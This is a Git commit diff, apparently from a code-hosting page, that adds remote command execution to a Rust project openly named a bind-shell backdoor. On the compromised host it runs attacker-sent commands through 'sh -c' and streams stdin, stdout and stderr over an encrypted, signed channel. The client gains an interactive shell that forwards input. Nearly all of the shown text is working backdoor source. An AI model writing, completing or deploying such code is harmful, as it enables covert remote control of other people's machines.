feat: added the ability to send commands
This commit is contained in:
parent
47b2191335
commit
52538ac7d7
@ -27,7 +27,7 @@ async fn main() -> anyhow::Result<()> {
|
|||||||
async fn handled_main() -> anyhow::Result<()> {
|
async fn handled_main() -> anyhow::Result<()> {
|
||||||
simple_logger::SimpleLogger::new()
|
simple_logger::SimpleLogger::new()
|
||||||
.with_level(log::LevelFilter::Off)
|
.with_level(log::LevelFilter::Off)
|
||||||
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info)
|
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Error)
|
||||||
.init()?;
|
.init()?;
|
||||||
|
|
||||||
let pubkey =
|
let pubkey =
|
||||||
@ -243,7 +243,9 @@ async fn handle_command(
|
|||||||
let (out_type, Ok(len)) = tokio::select! {
|
let (out_type, Ok(len)) = tokio::select! {
|
||||||
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
||||||
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
||||||
} else { continue; };
|
} else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
if len == 0 {
|
if len == 0 {
|
||||||
break;
|
break;
|
||||||
|
|||||||
@ -33,7 +33,7 @@ impl Connection {
|
|||||||
|
|
||||||
let signature: [u8; 64] = data[..64].try_into().unwrap();
|
let signature: [u8; 64] = data[..64].try_into().unwrap();
|
||||||
self.foreign_sign_pubkey
|
self.foreign_sign_pubkey
|
||||||
.verify(data, &Signature::from(signature))?;
|
.verify(&data[64..], &Signature::from(signature))?;
|
||||||
|
|
||||||
let data = ecies_ed25519::decrypt(&self.config.enc_privkey, &data[64..])?;
|
let data = ecies_ed25519::decrypt(&self.config.enc_privkey, &data[64..])?;
|
||||||
|
|
||||||
@ -67,7 +67,7 @@ impl Connection {
|
|||||||
bail!("received packet from wrong computer");
|
bail!("received packet from wrong computer");
|
||||||
}
|
}
|
||||||
|
|
||||||
self.decrypt_and_verify(&buffer[..read])
|
dbg!(self.decrypt_and_verify(&buffer[..read]))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -1,12 +1,21 @@
|
|||||||
use std::{
|
use std::{
|
||||||
io::{self, Read, Write},
|
io::{self, stdin, Read, Stdin, Write},
|
||||||
os::fd::AsRawFd,
|
os::fd::AsRawFd,
|
||||||
path::PathBuf,
|
path::PathBuf,
|
||||||
sync::Arc,
|
sync::{
|
||||||
|
mpsc::{channel, TryRecvError},
|
||||||
|
Arc,
|
||||||
|
},
|
||||||
|
thread::{self, scope},
|
||||||
};
|
};
|
||||||
|
|
||||||
use sparse_05_common::messages::Capabilities;
|
use sparse_05_common::messages::{Capabilities, Command, Response};
|
||||||
use structopt::StructOpt;
|
use structopt::StructOpt;
|
||||||
|
use tokio::{
|
||||||
|
io::{stderr, stdout, AsyncWriteExt},
|
||||||
|
runtime::Handle,
|
||||||
|
sync::mpsc,
|
||||||
|
};
|
||||||
|
|
||||||
use super::{commands, Connection};
|
use super::{commands, Connection};
|
||||||
|
|
||||||
@ -49,7 +58,83 @@ fn convert_termios_raw(attrs: &mut libc::termios) -> anyhow::Result<()> {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn run_command(connection: Arc<Connection>) -> anyhow::Result<()> {
|
async fn run_command(command: String, connection: Arc<Connection>) -> anyhow::Result<()> {
|
||||||
|
connection
|
||||||
|
.send_command(Command::RunCommand(command))
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let id = loop {
|
||||||
|
let resp = connection.get_response().await?;
|
||||||
|
if let Response::AckRunCommand(id) = resp {
|
||||||
|
break id;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let (kill, handle_kill) = channel();
|
||||||
|
let (send_message, mut handle_send_message) = mpsc::channel(16);
|
||||||
|
let handle = Handle::current();
|
||||||
|
|
||||||
|
let stdin_thread = thread::spawn({
|
||||||
|
let mut stdin = stdin();
|
||||||
|
let connection = Arc::clone(&connection);
|
||||||
|
|
||||||
|
move || {
|
||||||
|
let mut stdin_buffer = [0u8; 1024];
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let Ok(amount) = stdin.read(&mut stdin_buffer) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
handle.spawn({
|
||||||
|
let message = stdin_buffer[..amount].to_vec();
|
||||||
|
let send_message = send_message.clone();
|
||||||
|
async move { send_message.send(message).await }
|
||||||
|
});
|
||||||
|
|
||||||
|
match handle_kill.try_recv() {
|
||||||
|
Ok(()) | Err(TryRecvError::Disconnected) => {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
Err(_) => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
loop {
|
||||||
|
enum Event {
|
||||||
|
Stdin(Vec<u8>),
|
||||||
|
Remote(Response),
|
||||||
|
}
|
||||||
|
|
||||||
|
let Some(event) = tokio::select! {
|
||||||
|
v = connection.get_response() => v.ok().map(Event::Remote),
|
||||||
|
v = handle_send_message.recv() => v.map(Event::Stdin)
|
||||||
|
} else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
match event {
|
||||||
|
Event::Remote(Response::SendStdout(bytes, cid)) if cid == id => {
|
||||||
|
stdout().write(&bytes).await?;
|
||||||
|
}
|
||||||
|
Event::Remote(Response::SendStderr(bytes, cid)) if cid == id => {
|
||||||
|
stderr().write(&bytes).await?;
|
||||||
|
}
|
||||||
|
Event::Remote(Response::CommandDone(cid, code)) if cid == id => break,
|
||||||
|
Event::Stdin(stdin) => {
|
||||||
|
let _ = connection
|
||||||
|
.send_command(Command::SendStdin(stdin, id))
|
||||||
|
.await?;
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let _ = kill.send(());
|
||||||
|
let _ = stdin_thread.join();
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -81,7 +166,7 @@ pub(super) async fn shell(
|
|||||||
);
|
);
|
||||||
stdout.flush().unwrap();
|
stdout.flush().unwrap();
|
||||||
|
|
||||||
let mut cmd = [0u8; 256];
|
let mut cmd = [0u8; 1024];
|
||||||
let amount = stdin.read(&mut cmd)?;
|
let amount = stdin.read(&mut cmd)?;
|
||||||
|
|
||||||
if amount == 0 {
|
if amount == 0 {
|
||||||
@ -113,7 +198,11 @@ pub(super) async fn shell(
|
|||||||
(Ok(SparseCommands::Exit), _) => {
|
(Ok(SparseCommands::Exit), _) => {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
_ => {}
|
_ => {
|
||||||
|
if let Err(e) = run_command(input.to_string(), Arc::clone(&connection)).await {
|
||||||
|
eprintln!("{e:?}");
|
||||||
|
};
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -10,7 +10,7 @@ pub mod messages {
|
|||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
use serde_repr::{Deserialize_repr, Serialize_repr};
|
use serde_repr::{Deserialize_repr, Serialize_repr};
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize)]
|
#[derive(Serialize, Deserialize, Debug)]
|
||||||
pub enum Command {
|
pub enum Command {
|
||||||
RunCommand(String),
|
RunCommand(String),
|
||||||
SendStdin(Vec<u8>, u64),
|
SendStdin(Vec<u8>, u64),
|
||||||
@ -32,7 +32,7 @@ pub mod messages {
|
|||||||
Disconnect,
|
Disconnect,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize)]
|
#[derive(Serialize, Deserialize, Debug)]
|
||||||
pub enum FileType {
|
pub enum FileType {
|
||||||
File,
|
File,
|
||||||
Dir,
|
Dir,
|
||||||
@ -43,7 +43,7 @@ pub mod messages {
|
|||||||
Char,
|
Char,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize)]
|
#[derive(Serialize, Deserialize, Debug)]
|
||||||
pub struct UnixMetadata {
|
pub struct UnixMetadata {
|
||||||
pub mode: u32,
|
pub mode: u32,
|
||||||
pub uid: u32,
|
pub uid: u32,
|
||||||
@ -52,19 +52,19 @@ pub mod messages {
|
|||||||
pub mtime: i64,
|
pub mtime: i64,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize)]
|
#[derive(Serialize, Deserialize, Debug)]
|
||||||
pub struct DirEntry {
|
pub struct DirEntry {
|
||||||
pub name: OsString,
|
pub name: OsString,
|
||||||
pub size: u64,
|
pub size: u64,
|
||||||
pub unix: Option<UnixMetadata>,
|
pub unix: Option<UnixMetadata>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize)]
|
#[derive(Serialize, Deserialize, Debug)]
|
||||||
pub enum Response {
|
pub enum Response {
|
||||||
AckRunCommand(u64),
|
AckRunCommand(u64),
|
||||||
SendStderr(Vec<u8>, u64, u64),
|
SendStderr(Vec<u8>, u64),
|
||||||
SendStdout(Vec<u8>, u64, u64),
|
SendStdout(Vec<u8>, u64),
|
||||||
CommandDone(u64, u32),
|
CommandDone(u64, i32),
|
||||||
|
|
||||||
CdDone,
|
CdDone,
|
||||||
LsResults(Vec<DirEntry>),
|
LsResults(Vec<DirEntry>),
|
||||||
|
|||||||
@ -1,4 +1,6 @@
|
|||||||
use std::{
|
use std::{
|
||||||
|
io::{Read, Write},
|
||||||
|
process::{Command, Stdio},
|
||||||
sync::{
|
sync::{
|
||||||
atomic::AtomicU64,
|
atomic::AtomicU64,
|
||||||
mpsc::{channel, Sender},
|
mpsc::{channel, Sender},
|
||||||
@ -6,6 +8,8 @@ use std::{
|
|||||||
thread::Scope,
|
thread::Scope,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
use sparse_05_common::messages::Response;
|
||||||
|
|
||||||
use super::ConnectionInformation;
|
use super::ConnectionInformation;
|
||||||
|
|
||||||
const CURRENT_COMMAND_ID: AtomicU64 = AtomicU64::new(0);
|
const CURRENT_COMMAND_ID: AtomicU64 = AtomicU64::new(0);
|
||||||
@ -22,8 +26,78 @@ pub(super) fn spawn_command<'a, 'b: 'a>(
|
|||||||
) -> anyhow::Result<CommandHandler> {
|
) -> anyhow::Result<CommandHandler> {
|
||||||
let (data_sender, data_receiver) = channel();
|
let (data_sender, data_receiver) = channel();
|
||||||
|
|
||||||
Ok(CommandHandler {
|
let id = CURRENT_COMMAND_ID.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
|
||||||
id: CURRENT_COMMAND_ID.fetch_add(1, std::sync::atomic::Ordering::Relaxed),
|
|
||||||
data_sender,
|
dbg!(&command);
|
||||||
})
|
|
||||||
|
let mut command = Command::new("sh")
|
||||||
|
.arg("-c")
|
||||||
|
.arg(&command)
|
||||||
|
.env("TERM", "screen")
|
||||||
|
.stdin(Stdio::piped())
|
||||||
|
.stdout(Stdio::piped())
|
||||||
|
.stderr(Stdio::piped())
|
||||||
|
.spawn()?;
|
||||||
|
|
||||||
|
let resp = Response::AckRunCommand(id);
|
||||||
|
conninfo.send(conninfo.encrypt_and_sign_resp(resp)?)?;
|
||||||
|
|
||||||
|
s.spawn(move || -> anyhow::Result<()> {
|
||||||
|
if let Some(mut stdout) = command.stdout.take() {
|
||||||
|
s.spawn(move || {
|
||||||
|
let mut stdout_buffer = [0u8; 1024];
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let Ok(count) = stdout.read(&mut stdout_buffer) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
let resp = Response::SendStdout(stdout_buffer[..count].to_vec(), id);
|
||||||
|
let Ok(packet) = conninfo.encrypt_and_sign_resp(resp) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
_ = conninfo.send(packet);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(mut stderr) = command.stderr.take() {
|
||||||
|
s.spawn(move || {
|
||||||
|
let mut stderr_buffer = [0u8; 1024];
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let Ok(count) = stderr.read(&mut stderr_buffer) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
let resp = Response::SendStderr(stderr_buffer[..count].to_vec(), id);
|
||||||
|
let Ok(packet) = conninfo.encrypt_and_sign_resp(resp) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
_ = conninfo.send(packet);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(mut stdin) = command.stdin.take() {
|
||||||
|
s.spawn(move || loop {
|
||||||
|
let Ok(input): Result<Vec<u8>, _> = data_receiver.recv() else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
_ = stdin.write(&input);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
let code = match command.wait() {
|
||||||
|
Ok(status) => status.code().unwrap_or(-1),
|
||||||
|
Err(_) => -1,
|
||||||
|
};
|
||||||
|
let resp = Response::CommandDone(id, code);
|
||||||
|
let resp = conninfo.encrypt_and_sign_resp(resp)?;
|
||||||
|
conninfo.send(resp)?;
|
||||||
|
Ok(())
|
||||||
|
});
|
||||||
|
|
||||||
|
Ok(CommandHandler { id, data_sender })
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user